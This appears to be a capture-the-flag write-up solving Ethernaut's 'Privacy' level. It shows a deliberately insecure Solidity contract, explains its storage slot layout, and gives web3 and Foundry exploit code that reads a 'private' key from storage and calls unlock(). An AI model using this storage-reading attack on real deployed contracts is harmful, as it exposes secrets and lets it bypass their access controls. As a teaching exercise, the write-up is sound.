The Ethernaut CTF Solutions | 12 - Privacy
Ethereum Exposed: Accessing Hidden Data in Smart Contracts

Search for a command to run...
Ethereum Exposed: Accessing Hidden Data in Smart Contracts

No comments yet. Be the first to comment.
Find the explanations and solutions to beat every level of Ethernaut challenges. Solidity + Foundry
The Key to Complexity: Solving Modifiers Requirements in Smart Contracts
From Flash to Cash: Exploiting Governance in the Selfie Challenge

Timing and Technique: Exploiting The Rewarder for Maximum Gain

A Deep Dive into the Side Entrance Challenge: Mastering the Mechanics of Flash Loans

DeFi Vulnerabilities Exposed: How to Solve the Truster Flash Loan Exploit"

Staking Strategies: An Insightful Journey Through Smart Contract Exploits in DeFi

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;
constructor(bytes32[3] memory _data) {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
Nothing complex in how to solve the challenge, we must retrieve the key and call the unlock() function to beat it. Fortunately, we don't have to deal with the super-advanced solidity algorithms!
Like in the previous Vault level, we need a good understanding of how storage works in solidity, and how to access it. Only this time, we go a little further as this level introduces static-sized array type.
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
We can see that the _key we are looking for must be equal to bytes16(data[2]). So how can we access data[2]?
Here is the storage:
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;
Since there is no inheritance, the storage starts at slot 0 with the locked variable and goes as follows:
| Slot | Variable | Type | Notes |
| 0 | locked | bool | locked takes 1 byte, but since the next value doesn't fit in the 31 bytes left, locked takes the whole slot (Not best practice!) |
| 1 | ID | uint256 | uint256 takes 32 bytes, so 1 full slot |
| 2 | flattening, denomination, awkwardness | uint8, uint8, uint16 | Respectively 1 byte + 1 byte + 2 bytes, so solidity packs these together into a single slot. |
| 3 | data[0] | bytes32 | Static arrays start a new storage slot, each bytes32 element taking one full slot. |
| 4 | data[1] | bytes32 | |
| 5 | data[2] | bytes32 | This is the slot containing data[2]. |
With this detailed storage layout, we can see that data[2] is stored in slot 5. We can now move to the solution.
We have to read the storage at slot 5 to get the value of data[2].
We can do this by calling the web3.eth.getStorageAt function.
// Read the storage at slot 5
const contents1 = await web3.eth.getStorageAt(instance, 5);
// Format the key to bytes16
const key = contents1.substring(0, 34);
Then we can call the unlock function with the value we got from the storage.
await contract.unlock(key);
forge:You can also achieve the same with Foundry by using the vm.load function. Let's write our script accordingly:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Script, console2} from "forge-std/Script.sol";
interface IPrivacy {
function locked() external view returns (bool);
function unlock(bytes16 _key) external;
}
contract PoC is Script {
// Replace with your Privacy instance
address private immutable privacy =
0x8872CAE2EB50a5C77B4B0b323F0071DbAbD19025;
function run() external {
uint256 deployer = vm.envUint("PRIVATE_KEY");
vm.startBroadcast(deployer);
bytes32 key = vm.load(privacy, bytes32(uint256(5)));
IPrivacy(privacy).unlock(bytes16(key));
console2.log(
"This should be unlocked by now, right?",
IPrivacy(privacy).locked()
);
vm.stopBroadcast();
}
}
To run the script:
forge script script/12_Privacy.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY

Done.
๐ Level completed ๐
Again, nothing is private on-chain. Everything is public and can be read by anyone.
Organize your storage to save space and gas.
Private data: https://solidity-by-example.org/hacks/accessing-private-data/
EVM storage: https://programtheblockchain.com/posts/2018/03/09/understanding-ethereum-smart-contract-storage/
Storage layout: https://docs.soliditylang.org/en/latest/internals/layout_in_storage.html
You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/